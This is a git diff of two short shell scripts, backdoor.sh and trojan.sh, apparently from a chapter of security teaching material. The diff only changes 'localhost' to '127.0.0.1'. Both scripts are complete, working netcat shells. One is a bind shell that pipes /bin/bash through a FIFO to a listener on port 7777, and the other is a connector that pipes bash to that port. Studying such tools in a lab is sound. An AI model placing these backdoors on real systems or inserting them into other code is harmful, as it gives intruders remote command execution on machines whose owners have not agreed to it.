diff --git a/kapitel9/backdoor.sh b/kapitel9/backdoor.sh
index 4f85eab..b1bca32 100644
--- a/kapitel9/backdoor.sh
+++ b/kapitel9/backdoor.sh
@@ -1,5 +1,5 @@
 #!/bin/bash
 mkfifo /tmp/f 
-cat /tmp/f | /bin/bash 2>&1 | nc localhost -l 7777 > /tmp/f \ 
+cat /tmp/f | /bin/bash 2>&1 | nc 127.0.0.1 -l 7777 > /tmp/f \ 
     && rm /tmp/f
 
diff --git a/kapitel9/trojan.sh b/kapitel9/trojan.sh
index 145e1ec..3abf36f 100644
--- a/kapitel9/trojan.sh
+++ b/kapitel9/trojan.sh
@@ -1,4 +1,4 @@
 #!/bin/bash
 mkfifo /tmp/f
-/bin/bash 0</tmp/f | nc localhost 7777 1>/tmp/f && rm /tmp/f
+/bin/bash 0</tmp/f | nc 127.0.0.1 7777 1>/tmp/f && rm /tmp/f